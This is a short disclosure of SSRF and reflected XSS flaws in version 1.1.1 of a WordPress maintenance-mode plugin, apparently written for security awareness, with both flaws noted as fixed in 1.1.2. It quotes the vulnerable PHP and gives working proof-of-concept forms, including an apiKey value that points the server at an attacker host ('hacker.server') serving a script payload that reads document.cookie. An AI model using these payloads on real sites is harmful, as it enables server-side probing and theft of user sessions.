There are SSRF and RXSS vulnerabilities in the WordPress plugin Under Construction, Coming Soon & Maintenance Mode version 1.1.1.
Both vulnerabilities are fixed in version 1.1.2:
https://wordpress.org/plugins/under-construction-maintenance-mode/#developers

[1] SSRF

Here is the relevant code from file includes/mc-get_lists.php:

$apiKey = $_POST['apiKey'];
$dataCenter = substr( $apiKey , strpos( $apiKey,'-' ) + 1 );
$url = 'https://'. $dataCenter. '.api.mailchimp.com/3.0/lists/';

The user submits the POST parameter "apiKey", and the code constructs a https URL from it without any sanitization and then
retrieves it with cURL, which leads to a SSRF bug.

POC:

<form method="post" action="http://attacked.server/wp-content/plugins/under-construction-maintenance-mode/includes/mc-get_lists.php">
<input type="text" name="apiKey" value="-localhost:8765/test/test/test?key1=val1&dummy=" />
<input type="submit" value="Submit!" />
</form>

[2] RXSS

The code in the same file decodes JSON data fetched from the URL and then displays HTML code from the retrieved data without
any HTML escaping, leading to a reflected cross-site scripting issue where the payload is on a different server.

POC (attacked.server runs WordPress with a vulnerable version of this plugin, and hacker.server is run by the attacker):

<form method="post" action="http://attacked.server/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="ucmm_mc_api" />
<input type="text" name="apiKey" value="-hacker.server/test.json?dummy=" />
<input type="submit" value="Submit!" />
</form>

test.json:

[[{"id":"<script>alert(document.location);alert(document.cookie);<\/script>"}]]

// Mr.F in 2021